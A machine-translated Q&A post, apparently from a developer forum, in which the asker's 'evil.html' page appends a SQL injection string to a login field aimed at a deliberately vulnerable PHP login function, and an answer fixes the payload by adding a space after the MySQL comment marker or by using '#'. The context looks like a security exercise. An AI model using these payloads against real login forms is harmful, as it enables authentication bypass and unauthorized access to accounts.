背景
我制作了一个html页面evil.html,当用户点击它时,他们应该能够输入用户名并点击提交按钮,从而将他们登录到我创建的网站。
我认为注入'or 1=1 --
意味着,如果我提交用户名为test
的用户,那么SQL查询将在中产生
从用户中选择*userid='test'或1=1--AND password='$hash'
这应该意味着我的用户test
已通过身份验证。然而,在注入中的间距为+
的地方,它抛出了500。
我在请求中的登录参数如下:
login:
"test'or+1=1+--"
有人知道为什么这个漏洞不起作用吗?
邪恶.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script>
function attack() {
document.querySelector('#login').value += "'or 1=1 --";
}
</script>
</head>
<body>
<form action="http://example.com/" onsubmit="attack();" method="POST">
<input name="login" id="login" value="">
<button>Submit</button>
</form>
</body>
</html>
login.php
function login($username, $password) {
$sql = "SELECT * FROM users WHERE userid='$username'";
$result = $this->db->query($sql);
$user = $result->next();
if (!$user) {
return false;
}
$salt = $user['salt'];
$hash = md5($salt.$password);
$sql = "SELECT * FROM users WHERE userid='$username' AND password='$hash'";
$userdata = $this->db->query($sql)->next();
if ($userdata) {
// user is logged in
// doStuff()
}
}
尝试在双连字符后添加一个空格。
因此,从
.value += "'or 1=1 --";
到.value += "'or 1=1 -- ";
加号是一个URL加密的空间形式。所以在这一点上它是完全好的(参见URL编码的空格字符:+或%20?)。
在微软、Oracle、PostgreSQL和MySQL等广泛使用的关系数据库管理系统中,可以用--
来介绍一条注释。MySQL在这里有点挑剔。它希望在--
后面有一个空格,否则它不会识别它。
因此,一个有效的漏洞应该是:
"test'or+1=1+--+"
您也可以尝试另一种mySQL表示法,如"#comment">
"test'or+1=1+#"
参见。部分";评论"在里面https://portswigger.net/web-security/sql-injection/cheat-sheet.